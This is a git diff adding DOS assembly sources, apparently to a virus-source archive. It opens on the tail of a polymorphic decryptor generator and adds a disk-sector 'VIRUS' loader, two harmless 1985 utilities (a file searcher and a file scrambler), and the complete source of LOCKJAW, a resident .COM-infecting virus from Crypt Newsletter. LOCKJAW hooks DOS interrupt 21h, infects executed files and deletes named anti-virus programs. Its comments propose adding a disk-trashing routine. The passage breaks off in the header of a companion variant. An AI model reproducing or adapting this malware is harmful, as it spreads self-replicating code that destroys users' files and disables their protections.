+FillWithOneByte: + call GetOneByteIns + mov [di], al + inc di + loop FillWithOneByte + pop di + call GetRand15 + add di, ax + mov byte ptr [di], 0BBh ; Store MOV BX Instruction + add di, 3 + call GetRand15 + add di, ax + mov word ptr [di], 0A8B9h ; Store MOV CX, Instruction + inc di + inc di + mov byte ptr [di], 3 ; Store Decrypt Size + inc di + call GetRand15 + add di, ax + mov word ptr [di], 80BFh ; Store MOV DI + inc di + inc di + mov byte ptr [di], 1 ; Store Offset of Crypted Code + inc di + call GetRand15 + add di, ax + push di + mov word ptr [di], 312Eh ; XOR [DI], + inc di + inc di + mov byte ptr [di], 1Dh ; BX + inc di + call GetRand15 + add di, ax + mov word ptr [di], 4747h ; INC SI/INC SI + inc di + inc di + mov byte ptr [di], 43h ; INC AX + inc di + call GetRand15 + add di, ax + mov byte ptr [di], 0E2h ; LOOP Instruction + pop ax + push di + sub di, ax + mov ax, 0FFFEh + sub ax, di + pop di + inc di + mov [di], al ; Loop Offset + pop ds + pop di + retn +GenerateCryptor endp + +Buffer db 0CDh, 20h, 125 dup (0) +LastByte db 0 +OrgProgram db 1872 dup (0) +seg000 ends + + + end start diff --git a/l/LOADER.ASM b/l/LOADER.ASM new file mode 100755 index 0000000..eb315d8 --- /dev/null +++ b/l/LOADER.ASM @@ -0,0 +1,111 @@ + PAGE ,132 +VIRUS SEGMENT PARA PUBLIC 'CODE' + ASSUME CS:VIRUS,DS:VIRUS + call gyilk + int 20h + nop +gyilk: push ax + push bx + push cx + push dx + push es + push ds + push di + push si + call cim +cim: pop bx + mov si,5aa5h + mov di,55aah + push cs + pop es +ujra: add bx,1000 + cmp bx,1000 + jnc kilep1 + jmp kilep +kilep1: push bx + mov ax,201h + mov dx,80h + mov cx,1 + int 13h + pop bx + jnc tovabb + jmp kilep +tovabb: cmp si,0a55ah + jnz tivbi1 + jmp kilep +tivbi1: mov ax,cs:word ptr [bx] + cmp ax,12cdh + jz kilep +tovbi: push bx + mov ax,201h + mov dx,0h + mov cx,1 + int 13h + pop bx + jnc tovabbi + cmp ah,6 + jz tovbi + jmp kilep +tovabbi: mov ax,cs + add ax,1000h + push bx + push ax + int 12h + mov bx,64 + mul bx + sub ax,1000h + mov bx,ax + pop ax + cmp bx,ax + jnc oke1 + pop bx + jmp kilep +oke1: pop bx +oke: mov es,ax + mov ax,cs:[bx+18h] + mov cx,cs:[bx+1ah] + mul cx + mov cx,ax + mov ax,cs:[bx+13h] + mov dx,0 + div cx + sub bx,1000 + push bx + mov ch,al + mov cl,1 + mov bx,100h + mov dx,0 + mov ax,208h + int 13h + pop bx + jc kilep + push bx + mov bx,100h + mov ax,es:[bx] + cmp ax,2452h + pop bx + jnz kilep + mov ax,bx + add ax,offset kilep-offset cim + push cs + push ax + mov ax,10ah + push es + push ax + retf +kilep: pop si + pop di + pop ds + pop es + pop dx + pop cx + pop bx + pop ax + ret +cime: dw 0 +VEG EQU $ + +VIRUS ENDS + + END +  \ No newline at end of file diff --git a/l/LOCATE.ASM b/l/LOCATE.ASM new file mode 100755 index 0000000..525957e --- /dev/null +++ b/l/LOCATE.ASM @@ -0,0 +1,231 @@ +CODE_SEG SEGMENT + ASSUME CS:CODE_SEG,DS:CODE_SEG,ES:CODE_SEG + ORG 100H ;Start off right for a .COM file +ENTRY: JMP LOCATE ;Skip over Data area + + COPY_RIGHT DB '(C)1985 S.Holzner' ;Author's Mark + FOUND_MSG DB 13,10,13,10,'FOUND IN $' ;Like it says + LEN DW 1 ;The file length (low word) + PATH_LEN DW 0 ;Length of Path.Dat + NUMBER DW 0 ;Number of bytes read from file + EXTRA_PATHS DB 0 ;=1 if we open & use Path.Dat + OLD_BX DW 0 ;Save pointer to path at CS:DBH + OLD_SI DW 0 ;Save SI as pointer also + START_FLAG DB 0 ;For searches in Path.Dat + PATH_DAT DB "\PATH.DAT",0 ;ASCIIZ string of Path.Dat + +LOCATE PROC NEAR ;Here we go + + MOV DX,0B0H ;Move Disk Transfer Area to CS:0B0H + MOV AH,1AH ;Matched file information goes there + INT 21H + + MOV DI,5CH ;Use CS:5CH to put '*.*'0 at for search + CALL PUT ; in current directory + MOV DX,5CH ;Point to '*.*'0 for search + MOV AH,4EH ; and find first matching file + INT 21H ;Match now at DTA, 0B0H +LOOP: ;Loop over matches now + MOV BX,0CAH ;Get file length, came from match + MOV DX,[BX] + MOV LEN,DX ;Store in Len + CMP DX,60*1024 ;Don't write over stack, allow < 64K files + JB NOT_BIG ;Range extender (Find > 127 bytes ahead) + JMP FIND +NOT_BIG:CMP DX,0 ;Was this a 0 length file (disk dir or label)? + JA FILE_OK ;No, go on and read it + JMP FIND ;Yes, find next file and skip this one +FILE_OK:CALL READ_FILE ;Get the file into memory + MOV CX,NUMBER ;Prepare to loop over all read bytes + MOV DI,OFFSET PATHS+300 ;File starts at Offset Paths+300 +SEARCH: ;Use Repne Scasb & DI to search for the + MOV BX,82H ;first letter of the string, which is at CS:82H + MOV AL,BYTE PTR [BX] ;Load into AL for Repne Scasb +REPNE SCASB ;Find first letter + JCXZ FIND ;If out of file to search, find next file + MOV BX,80H ;How many chars in string? Get from CS:80H + XOR DX,DX ;Set DX to zero + MOV DL,[BX] ;Get # of chars in string + DEC DX ;Get rid of space typed after 'Locate' + MOV SI,83H ;Search from second typed letter (1st matched) +CPLOOP: DEC DX ;Loop counter + CMPSB ;See how far we get until no match + JZ CPLOOP + DEC DI ;At end, reset DI (Scasb increments 1 too much) + CMP DX,0 ;If DX is not zero, all letters did not match + JA SEARCH ;If not a match, go back and get next one + LEA DX,FOUND_MSG ;FILE HAS BEEN FOUND, so say so. + MOV AH,9 ;Request string search + INT 21H + MOV AH,2 ;Now to print filename. Without Path.Dat, at + MOV BX,0DBH ; CS:CEH, with Path.Dat at CS:DBH + CMP EXTRA_PATHS,1 ; Using Path.Dat yet? + JE PRINT ;Yes, print + MOV BX,0CEH ;No, reset BX to point to CS:CEH +PRINT: MOV DL,[BX] ;Print out the filename until 0 found + CMP DL,0 ;Is it 0? + JE MORE ;If yes,print out sample at More: + INT 21H ;Print filename character + INC BX ;Point to next character + JMP PRINT ;Go back relentlessly until done +MORE: PUSH DI ;Save DI,BX,CX + PUSH BX + PUSH CX + MOV CX,40 ;Prepare to type out total of 40 characters + MOV AH,2 ;With Int 21H service 2 + MOV DL,':' ;But first, add ':' to filename + INT 21H ;And a carriage return linefeed + MOV DL,13 + INT 21H + MOV DL,10 + INT 21H + SUB DI,20 ;DI points to end of found string, move back + MOV BX,OFFSET PATHS+300 ;Beginning of file + CMP DI,BX ;If before beginning, start at beginning + JA GO + MOV DI,BX +GO: ADD BX,LEN ;Now BX=end of file (to check if we're past it) +SHOW: MOV DL,[DI] ;Get character from file + INC DI ;And point to next one + CMP DI,BX ;Past end? + JA SHOWS_OVER ;Yes, jump out, look for next match + CMP DL,30 ;Unprintable character? + JA POK ;No, OK + MOV DL,' ' ;Yes, make it a space +POK: INT 21H ;Print Character + LOOP SHOW ;And return for the next one +SHOWS_OVER: ;End of printout + POP CX ;Restore the registers used above + POP BX + POP DI + JMP SEARCH ;Return to search more of the file +FIND: CALL FIND_FILE ;This file done, find next match + CMP AL,18 ;AL=18 --> no match + JE OUT ;And so we leave + JMP LOOP ;If match found, go back once again +OUT: INT 20H ;End of Main Program +LOCATE ENDP + +PUT PROC NEAR ;This little gem puts a '*.*'0 + MOV BYTE PTR [DI],'*' ;Wherever you want it--just send + MOV BYTE PTR [DI+1],'.' ; it a value in DI. '*.*'0 is used as + MOV BYTE PTR [DI+2],'*' ; a universal wilcard in searches + MOV BYTE PTR [DI+3],0 + RET +PUT ENDP + +WS PROC NEAR ;Strip the bits for WordStar + CMP CX,0 ;If there is a length of 0, e.g. + JE FIN ;Directory entries, etc. do nothing. +WSLOOP: AND BYTE PTR [BX],127 ;Set top bit to zero + INC BX ;Point to next unsuspecting byte + LOOP WSLOOP ;And get it too. +FIN: RET ;To use, send this program BX and CX +WS ENDP + +FIND_FILE PROC NEAR ;The file finder + MOV AH,4FH ;Try service 4FH, find next match, first + INT 21H + CMP AL,18 ;AL = 18 --> no match + JE CHECK ;Range extender. + JMP NEW +CHECK: CMP EXTRA_PATHS,1 ;Have we used path.Dat? + JE NEXT_PATH ;Yes, get next path, this one's used up + INC EXTRA_PATHS ;No, set it to 1 + MOV AX,3D00H ;Request file opening for Path.Dat + LEA DX,PATH_DAT ;Point to '\PATH.DAT'0 + INT 21H + JNC READ ;If there was a carry, Path.Dat not found +DONE: MOV AL,18 ;And so we exit with AL=18 + JMP END +READ: MOV CX,300 ;Assume the max length for Path.Dat, 300. + MOV BX,AX ;Move found file handle into BX for read + MOV AH,3FH ;Set up for file read + LEA DX,PATHS ;Put the file at location Paths (at end) + INT 21H ;Read in the file + ADD AX,OFFSET PATHS ;Full offset of end of Path.Dat + MOV PATH_LEN,AX ;Get Path.Dat end point for loop + MOV AH,3EH ;Now close the file + INT 21H ;Close file + MOV OLD_SI,OFFSET PATHS ;Save for future path-readings + MOV CX,300 ;Get ready to Un-WordStar + MOV BX,OFFSET PATHS ;300 bytes at location Paths + CALL WS ;Strip high bit for WS +NEXT_PATH: ;Come here to find next path to search for files + MOV SI,OLD_SI ;Point to start of next path + MOV DI,5CH ;Move will be to CS:5CH for '\path\*.*0' file find + MOV BX,0DBH ;Also to CS:DBH; will assemble full path & filename + MOV START_FLAG,0 ;Start the path search +CHAR: CMP SI,PATH_LEN ;Past end of possible path names? + JGE DONE ;Yes, we're done. Leave with AL=18 + CMP BYTE PTR [SI],30 ;Carriage return or linefeed? + JB NEXT ;Yes, get next char + MOV START_FLAG,1 ;First char, stop skipping chars + MOV AL,[SI] ;Get char from Path.Dat + MOV [BX],AL ;Move char to DBH + INC BX ;And increment to next location there + MOVSB ;Also move to 5CH area + JMP CHAR ;And go back for more +NEXT: CMP START_FLAG,1 ;Bad char, have we been reading a real pathname? + JE PDONE ;Yes, we've reached the end of it. + INC SI ;No, keep skipping chars to find pathname + JMP CHAR +PDONE: MOV OLD_SI,SI ;Save SI for the next path. + MOV BYTE PTR [DI],'\' ;Add '\' to both paths + MOV BYTE PTR [BX],'\' + INC BX ;Move BX on for next time + MOV OLD_BX,BX ;And save it. + INC DI ;Move to next location at 5CH and + CALL PUT ;Put '*.*'0 there to find all files. + MOV DX,5CH ;Start the search for all files in + MOV AH,4EH ; the new path. + MOV CX,0 ;Set the file attribute to 0 + INT 21H + CMP AL,18 ;Did we find any new files in new path? + JE NEXT_PATH ;No, get the next path. +NEW: CMP EXTRA_PATHS,1 ;Yes,Move found filename to DBH area to + JNE END ; read it in-only if DBH area is active + MOV BX,OLD_BX ; (i.e. Extra_Paths=1). Restore BX + MOV SI,0CDH ;And point to found filename in DTA +CLOOP: INC SI ;Next letter from found filename + MOV AH,[SI] ;Move it to the DBH area so we can read + MOV [BX],AH ; in the file (needs pathname\filename) + INC BX ;Next character in 5CH area. + CMP BYTE PTR [SI],0 ;Is this the last character? + JNE CLOOP ;Nope, get next one +END: RET ;After path & filename assembled, return +FIND_FILE ENDP + +READ_FILE PROC NEAR ;Looks for filename at CEH or DBH & reads it + PUSH AX ;Push everything to save it. + PUSH BX + PUSH CX + PUSH DX + MOV DX,0DBH ;Try the DBH area + CMP EXTRA_PATHS,1 ;Has it been used? + JE OK ;Yes + MOV DX,0CEH ;No, not using paths yet, use filename only, at CEH +OK: MOV AX,3D00H ;Prepare for file reading + INT 21H ;And do so. + MOV BX,AX ;Move file handle into BX to read + MOV DX,OFFSET PATHS+300 ;Read into data area at Paths+300 bytes + MOV CX,LEN ;Read the full file's length in bytes + MOV AH,3FH ;Read it in at last + INT 21H + MOV NUMBER,AX ;Number of bytes actually read. + MOV AH,3EH ;Close file + INT 21H + MOV BX,OFFSET PATHS+300 ;Clean up the Word Star high bit. + MOV CX,LEN ;For the full file + CALL WS ;Strip high bit for ws + POP DX ;Pop evrything and return + POP CX + POP BX + POP AX + RET ;Fin of Read_File +READ_FILE ENDP +PATHS: ;Here's the end of program marker + +CODE_SEG ENDS + END ENTRY ;End 'Entry' so DOS starts at 'Entry' + \ No newline at end of file diff --git a/l/LOCK.ASM b/l/LOCK.ASM new file mode 100755 index 0000000..295eddc --- /dev/null +++ b/l/LOCK.ASM @@ -0,0 +1,145 @@ +COMMENT* Change ROR -> ROL in the TWO marked places to produce UNLOCK.ASM * +CODE_SEG SEGMENT + ASSUME CS:CODE_SEG + ORG 100H +HERE: JMP THERE + COPY_RIGHT DB '(C)1985 Steven Holzner' + PROMPT DB 'Phrase: $' ;All the messages & prompts + DEFAULT DB 'FILE.LOC',0 + NOTSEEN DB 13,10,'File Not Found$' + FULL: DB 13,10,'Disk Full$' + FILETWO DW 0 ;Address of 2nd File name + FILEND DW 0 ;End of read-in files in memory +THERE PROC NEAR ;Our procedure + MOV BX,81H ;Make the filenames into ASCIIZ +UP: INC BX ;Scan type-in for space, + CMP BYTE PTR [BX],' ' ;Space? + JNE NOSPACE + MOV BYTE PTR [BX],0 ;Put the Z in ASCIIZ + MOV FILETWO,BX + INC FILETWO ;Store filename starting location +NOSPACE:CMP BYTE PTR [BX],13 ;If not a space, a ? + JNE UP + MOV BYTE PTR [BX],0 ;If yes, replace with a 0 + CMP FILETWO,0 + JNZ OVER + MOV FILETWO,OFFSET DEFAULT ;If no second file given, use default +OVER: LEA DX,PROMPT ;Type out the prompt with string print + MOV AH,9 + INT 21H + MOV BX,80H+40H-2 ;Prepare 40H (64) buffer for key phrase + MOV BYTE PTR [BX],40H + PUSH BX ;Set up buffer address + POP DX + MOV AH,0AH ;Buffered input + INT 21H + MOV BX,80H+40H ;Start of key phrase + PUSH BX +JUMP: CMP BYTE PTR [BX],13 ;Set up key phrase's ASCII values + JE READY ;Scan until + OR BYTE PTR [BX],1 ;Make it odd + AND BYTE PTR [BX],0FH ;Use only lower four bits + INC BX + JMP JUMP ;Keep going until +READY: POP BX + MOV AX,3D00H ;Open the file to encrypt + MOV DX,82H ;Point to its name + INT 21H + JNC OKFILE ;Carry Flag --> some problem, assume + LEA DX,NOTSEEN ; file doesn't exist, say so + MOV AH,9 + INT 21H + JMP OUT ;Exit + +OKFILE: PUSH BX ;Store location in key phrase + MOV BX,AX ;Put handle into BX + MOV CX,62*1024 ;Ask for 62K bytes to be read from file + LEA DX,THEBOTTOM ;And put at end of program + MOV AH,3FH ;Read + INT 21H + ADD AX,OFFSET THEBOTTOM ;Actually read AX bytes + MOV FILEND,AX + DEC FILEND ;Find how far the file extends in mem. + MOV AH,3EH ;Close file, thank you very much. + INT 21H + POP BX + LEA CX,THEBOTTOM ;Save current location in file in CX + +SCRMBLE:MOV SI,CX ;Will scramble from [SI] to [DI] + CMP SI,FILEND ;Past end? + JAE DONE ;If yes, exit + MOV DI,CX + XOR AX,AX + MOV AL,[BX] ;How many to scramble? (from key phrase) + ADD DI,AX + MOV CX,DI + INC CX ;Store new starting location for next time + + INC BX ;Also, get next character for next scramble + CMP BYTE PTR [BX],13 ;If at end of key phrase, wrap + JNE TWIST + MOV BX,80H+40H + +TWIST: CMP DI,FILEND ;Is DI past end? + JBE GRAB + + MOV DI,FILEND ;If yes, only scramble to file end + PUSH DI + SUB DI,SI ;What about last byte? + TEST DI,1 + POP DI + JNZ GRAB ;If left over, rotate it once + ROR BYTE PTR [DI],1 ;<--- ROL FOR UNLOCK!!! + DEC DI + CMP SI,DI + JAE DONE + +GRAB: MOV DH,[SI] ;Get byte 1 + MOV DL,[DI] ;Get byte 2 + PUSH CX + MOV CL,[BX] ;Get number of times to rotate + + INC BX ;Set up key phrase char for next time + CMP BYTE PTR [BX],13 + JNE TWISTER + MOV BX,80H+40H + ;Rotate the hybrid word +TWISTER:ROR DX,CL ;<--- ROL FOR UNLOCK!!! + POP CX + MOV [SI],DH ;And replace the parts + MOV [DI],DL + INC SI ;Point to next part to scramble + CMP SI,DI ;Have SI and DI met yet? + JE SCRMBLE ;If yes, move on to next part to scramble + DEC DI + JMP GRAB ;Go back until done +DONE: MOV AH,3CH ;Done + MOV CX,0 ;Prepare to write out scrambled version + MOV DX,FILETWO + INT 21H ;Create the file + JC ERROR + MOV BX,AX + MOV AH,40H + LEA DX,THEBOTTOM + MOV CX,FILEND ;File size to write + SUB CX,OFFSET THEBOTTOM + INC CX + INT 21H ;Write it out + CMP AX,CX ;If error, (returned)AX .NE. (orig.)CX + JE CLOSE +ERROR: LEA DX,FULL ;Assume disk is full, say so, leave + MOV AH,9 + INT 21H + JMP OUT +CLOSE: MOV AH,3EH ;Otherwise, close the file and exit + INT 21H +OUT: INT 20H +THERE ENDP +THEBOTTOM: ;Read-in file starts here. + CODE_SEG ENDS + END HERE + + + + + diff --git a/l/LOCKJAW.ASM b/l/LOCKJAW.ASM new file mode 100755 index 0000000..2af5d95 --- /dev/null +++ b/l/LOCKJAW.ASM @@ -0,0 +1,561 @@ +;LOCKJAW: a .COM-infecting resident virus with retaliatory +;anti-anti-virus capability. Programmed and contributed by Nikademus, for +;Crypt Newsletter 12, Feb. 1993. +; +;LOCKJAW is a resident virus which installs itself in +;memory using the same engine as the original Civil War/Proto-T virus. +; +;LOCKJAW hooks interrupt 21 and infects .COM files on execution, appending +;itself to the end of the "host." +;LOCKJAW will infect COMMAND.COM and is fairly transparent to a +;casual user, except when certain anti-virus programs +;(Integrity Master, McAfee's SCAN & +;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded. +;If LOCKJAW is present and any of these programs are employed from +;a write-protected diskette, the virus will, of course, generate +;"write protect" errors. +; +;LOCKJAW's "stinger" code demonstrates the simplicity of creating a strongly +;retaliating virus by quickly deleting the anti-virus program before it +;can execute and then displaying a "chomping" graphic. Even if the anti- +;virus program cannot detect LOCKJAW in memory, it will be deleted. This +;makes it essential that the user know how to either remove the virus from +;memory before beginning anti-virus measures, or at the least run the +;anti-virus component from a write-protected disk. At a time when retail +;anti-virus packages are becoming more complicated - and more likely that the +;average user will run them from default installations on his hard file - +;LOCKJAW's retaliating power makes it a potentially very annoying pest. +;A virus-programmer serious about inconveniencing a system could do a +;number of things with this basic idea. They are; +; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus +; instantly. +; 2. Alter the_stinger routine, so that the virus immediately attacks the +; hard file. The implementation is demonstrated by LOKJAW-DREI, which +; merely makes the disk inaccessible until a warm reboot if an anti-virus +; program is employed against it. By placing +; a BONA FIDE disk-trashing routine here, it becomes very hazardous for +; an unknowing user to employ anti-virus measures on a machine where +; LOCKJAW or a LOCKJAW-like program is memory resident. +; +;These anti-anti-virus strategies are becoming more numerous in viral +;programming. +; +;For example, Mark Ludwig programmed the features of a direct-action +;retaliating virus in his "Computer Virus Developments Quarterly." +;Peach, Groove and Encroacher viruses attack anti-virus software by +;deletion of files central +;to the functionality of the software. +; +;And in this issue, the Sandra virus employs a number +;of anti-anti-virus features. +; +;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and +;DREI infected files from a system, simply delete the "companion" .COM +;duplicates of your executables. Ensure that the machine has been booted +;from a clean disk. To remove the LOCKJAW .COM-appending virus, at this +;time it will be necessary for you to restore the contaminated files from +;a clean back-up. +; + + .radix 16 + code segment + model small + assume cs:code, ds:code, es:code + + org 100h + +len equ offset last - begin +vir_len equ len / 16d + +host: db 0E9h, 03h, 00h, 43h, 44h, 00h ; host dummy + +begin: + + call virus ; push i.p. onto the stack + +virus: + jmp after_note + +note: + db '[lkW]..kdM$' + db 'H$.pGm.$..{pŔ-].⋆' + db 'hk$.Ţ.☞' + +after_note: + pop bp ; recalculate change in offset + sub bp,109h + +fix_victim: + mov di,0100h ; restore host's + lea si,ds:[vict_head+bp] ; ! + mov cx,06h ; ! + rep movsb ; first 6 bytes +Is_I_runnin: + mov ax,2C2Ch + int 21h ; call to see if installed + cmp ax, 0DCDh + je Bye_Bye +cut_hole: + mov ax,cs ; get memory control block + dec ax + mov ds,ax + cmp byte ptr ds:[0000],5a ; check if last block - + jne abort + mov ax,ds:[0003] + sub ax,100 ; decrease memory + mov ds:0003,ax +Zopy_virus: ; copy to claimed block + mov bx,ax ; PSP + mov ax,es ; virus start + add ax,bx ; in memory + mov es,ax + mov cx,len ; cx = length of virus + mov ax,ds ; restore ds + inc ax + mov ds,ax + lea si,ds:[begin+bp] ; point to start of virus + lea di,es:0100 ; point to destination + rep movsb ; start copying the virus + + mov [vir_seg+bp],es + mov ax,cs + mov es,ax ; restore extra segment +Grab_21: + cli + mov ax,3521h ; request address of interrupt 21 + int 21h + mov ds,[vir_seg+bp] + mov ds:[old_21h-6h],bx + mov ds:[old_21h+2-6h],es + mov dx,offset Lockjaw - 6h ; revector to virus + mov ax,2521h + int 21h + sti +abort: + mov ax,cs ; get the hell outa + mov ds,ax ; Dodge + mov es,ax + xor ax,ax + +Bye_Bye: + mov bx,0100h ; hand off to host + jmp bx + +Lockjaw: + pushf ; is i checkin if + cmp ax,2c2ch ; resident + jne My_21h + mov ax,0dcdh + popf + iret + +My_21h: + push ds + push es ; save all registers + push di + push si + push ax + push bx + push cx + push dx +check_exec: + cmp ax,04B00h ; is the file being + jne notforme ; executed? + mov cs:[name_seg-6],ds + mov cs:[name_off-6],dx + jmp chk_com ; start potential + ; infection +notforme: + pop dx ; exit + pop cx ; restore all registers + pop bx + pop ax + pop si + pop di + pop es + pop ds + popf + jmp dword ptr cs:[old_21h-6] +int21: + pushf + call dword ptr cs:[old_21h-6] ; int 21h handler + jc notforme ; exit on error + ret + +chk_com: cld ; this essentially copies + mov di,dx ; the name of the file + push ds ; and sets it up for + pop es ; comparison to the anti- + mov al,'.' ; virus defaults used in + repne scasb ; the_stinger + call the_stinger ; anti-virus stinger + cmp ax, 00ffh ; WAS the program an AV? + je notforme + cmp word ptr es:[di],'OC' ; is it a .com ? + jne notforme ; compare against extension + cmp word ptr es:[di+2],'M' ; masks in these two steps + jne notforme + + call Grab_24 ; set critical error handler + call set_attrib + +open_victim: ; open potential host + mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + mov ax,3D02h + call int21 + jc close_file ; leave on error + push cs + pop ds + mov [handle-6],ax ; save handle + mov bx,ax + + call get_date ; save date/time characters + +check_forme: + push cs + pop ds + mov bx,[handle-6] + mov ah,3fh + mov cx,06h ; copy first 6 bytes of host + lea dx,[vict_head-6] + call int21 + mov al, byte ptr [vict_head-6] ; is the prog a exe? + mov ah, byte ptr [vict_head-6]+1 + cmp ax,[exe-6] ; compare with 'ZM' + je save_date ; jump to restore + mov al, byte ptr [vict_head-6]+3 ; is the prog already + mov ah, byte ptr [vict_head-6]+4 ; infected? + cmp ax,[initials-6] + je save_date + + +get_len: + mov ax,4200h + call move_pointer + mov ax,4202h + call move_pointer + sub ax,03h + mov [len_file-6],ax + + call write_jmp ; write the jump to the virus + call write_virus ; at the head of the host + ; write the remainder of the +save_date: ; virus to the end of the file + push cs + pop ds + mov bx,[handle-6] + mov dx,[date-6] + mov cx,[time-6] + mov ax,5701h + call int21 + +close_file: + mov bx,[handle-6] + mov ah,03eh + call int21 + mov dx,cs:[old_24h-6] + mov ds,cs:[old_24h+2-6] + mov ax,2524h + call int21 + jmp notforme +new_24h: + mov al,3 + iret +the_stinger: ; detection of anti-virus against defaults + cmp word ptr es:[di-3],'MI' ;Integrity Master + je jumptoass + + cmp word ptr es:[di-3],'XR' ;*rx = VIREX + je jumptoass + + cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP + jne next1 + cmp word ptr es:[di-5],'TS' + je jumptoass + +next1: cmp word ptr es:[di-3],'VA' ;AV = cpav + je jumptoass ;Central Point + cmp word ptr es:[di-3],'TO' ;*prot = F-prot + jne next2 + cmp word ptr es:[di-5],'RP' + je jumptoass + +next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan. + jne next3 + cmp word ptr es:[di-5],'CS' + je jumptoass + + cmp word ptr es:[di-3],'NA' ;*lean = CLEAN. + jne next3 ; why not, eh? + cmp word ptr es:[di-5],'EL' + je jumptoass +next3: ret +jumptoass: + jmp Asshole_det ;Asshole Program + ;Detected, delete +move_pointer: + push cs + pop ds + mov bx,[handle-6] + xor cx,cx + xor dx,dx + call int21 + ret + +write_jmp: + push cs + pop ds + mov ax,4200h ; move pointer to beginning of host + call move_pointer ; do it, as in move_pointer + mov ah,40h ; write + mov cx,01h ; a byte + lea dx,[jump-6] ; of the jump to LOCKJAW code + call int21 ; out to the host + mov ah,40h ; reset the pointer + mov cx,02h + lea dx,[len_file-6] + call int21 + mov ah,40h ; write the virus's recognition + mov cx,02h ; intials out to the host + lea dx,[initials-6] + call int21 + ret + +write_virus: + push cs + pop ds + mov ax,4202h + call move_pointer ; move the pointer to end of host + mov ah,40 ; write-to-file function + mov cx,len ; length of virus in cx + mov dx,100 + call int21 + ret + +get_date: + mov ax,5700h ; get date/time stamps oh host + call int21 ; stash them in buffers + push cs + pop ds + mov [date-6],dx ;<----- + mov [time-6],cx ;<----- + ret + +Grab_24: + mov ax,3524h ; set up critical error handler + call int21 + mov cs:[old_24h-6],bx + mov cs:[old_24h+2-6],es + mov dx,offset new_24h-6 + push cs + pop ds + mov ax,2524h ; revector error handler to virus + call int21 + ret + +set_attrib: + mov ax,4300h ; retrieve file attributes + mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + call int21 + and cl,0feh + mov ax,4301h + call int21 + ret +Asshole_det: + mov ds,cs:[name_seg-6] ; the anti-virus file + mov dx,cs:[name_off-6] + mov ax, 4301h ; clear attributes + mov cx, 00h + call int21 + mov ah, 41h ; delete it + call int21 +chomp: + push cs ; da chomper visual + pop ds + mov ah, 03h + int 10h + mov [c1-6], bh ; save cursor + mov [c2-6], dh + mov [c3-6], dl + mov [c4-6], ch + mov [c5-6], cl + mov ah, 1 + mov cl, 0 + mov ch, 40h + int 10h + + mov cl, 0 + mov dl, 4Fh + mov ah, 6 + mov al, 0 + mov bh, 0Fh + mov ch, 0 + mov cl, 0 + mov dh, 0 + mov dl, 4Fh + int 10h + + mov ah, 2 + mov dh, 0 + mov dl, 1Fh + mov bh, 0 + int 10h + + mov dx, offset eyes - 6 ; print the eyes + mov ah, 9 + mov bl, 0Fh + call int21 + + mov ah, 2 + mov dh, 1 + mov dl, 0 + int 10h + + mov ah, 9 + mov al, 0DCh + mov bl, 0Fh + mov cx, 50h + int 10h + + mov ah, 2 + mov dh, 18h + mov dl, 0 + int 10h + + mov ah, 9 + mov al, 0DFh + mov bl, 0Fh + mov cx, 50h + int 10h + + mov dl, 0 +chomp_1: + mov ah, 2 + mov dh, 2 + int 10h + + mov ah, 9 + mov al, 55h + mov bl, 0Fh + mov cx, 1 + int 10h + + mov ah, 2 + mov dh, 17h + inc dl + int 10h + + mov ah, 9 + mov al, 0EFh + mov bl, 0Fh + int 10h + + inc dl + cmp dl, 50h + jl chomp_1 + mov [data_1-6], 0 +chomp_3: + mov cx, 7FFFh ; delays + +locloop_4: + loop locloop_4 + + inc [data_1-6] + cmp [data_1-6], 0Ah + jl chomp_3 + mov [data_1-6], 0 + mov cl, 0 + mov dl, 4Fh +chomp_5: + mov ah, 6 + mov al, 1 + mov bh, [data_2-6] + mov ch, 0Dh + mov dh, 18h + int 10h + + mov ah, 7 + mov al, 1 + mov bh, [data_2-6] + mov ch, 0 + mov dh, 0Ch + int 10h + mov cx, 3FFFh ; delays + +locloop_6: + loop locloop_6 + inc [data_1-6] + cmp [data_1-6], 0Bh + jl chomp_5 + mov [data_1-6], 0 +chomp_7: + mov cx, 7FFFh ; delays + +locloop_8: + loop locloop_8 + inc [data_1-6] + cmp [data_1-6], 0Ah + jl chomp_7 + mov ah, 6 + mov al, 0 + mov bh, [data_2-6] + mov ch, 0 + mov cl, 0 + mov dh, 18h + mov dl, 4Fh + int 10h + + mov cl, 7 + mov ch, 6 + int 10h + + mov ah, 2 + mov bh, [c1-6] + mov dh, [c2-6] + mov dl, [c3-6] + int 10h + mov al, bh + mov ah, 5 + int 10h + mov ah, 1 + mov ch, [c4-6] + mov cl, [c5-6] + int 10h + mov ax, 0003h + int 10h ; sort of a cls + mov ax, 00ffh + ret + + +eyes db '(o) (o)','$' ; ASCII eyes +vict_head db 090h, 0cdh, 020h, 043h, 044h, 00h ; 6 bytes of host +jump db 0E9h +initials dw 4443h ; I.D. +exe dw 5A4Dh ; ZM - ident for .EXE files +last db 090h + +data_1 db 0 +data_2 db 0 +old_21h dw 00h,00h +old_24h dw 00h,00h +old_10h dw 00h,00h +name_seg dw ? +name_off dw ? +vir_seg dw ? +len_file dw ? +handle dw ? +date dw ? +time dw ? +c1 db 0 +c2 db 0 +c3 db 0 +c4 db 0 +c5 db 0 + +code ends + end host + + + diff --git a/l/LOKJAWD.ASM b/l/LOKJAWD.ASM new file mode 100755 index 0000000..f8d8671 --- /dev/null +++ b/l/LOKJAWD.ASM @@ -0,0 +1,559 @@ +;LOKJAW-DREI: an .EXE-infecting spawning virus with retaliatory +;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993. +; +;LOKJAW-DREI is a resident spawning virus which installs itself in +;memory using the same engine as the original Civil War/Proto-T virus. +;It is simpler in that none of its addresses have to be +;relative, an indirect benefit of the fact that the virus has no +;"appending" quality. That means, LOKJAW doesn't alter its "host" files, +;just like a number of other companion/spawning viruses published in +;previous newsletters. +; +;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating +;itself as companion .COMfile to the "host." Due to the inherent rules +;of DOS, this ensures the virus will be executed before the "host" the +;next time the infected program is used. In reality, LOKJAW is even +;simpler than that. If not in memory, the first time the host is +;called, LOKJAW will go resident and not even bother to load it. +;In most cases, the user will assume a slight error and call the host +;again, at which point it will function normally. LOKJAW will then infect +;every subsequent .EXE file called. LOKJAW is very transparent in operation, +;except when certain anti-virus programs (Integrity Master, McAfee's SCAN & 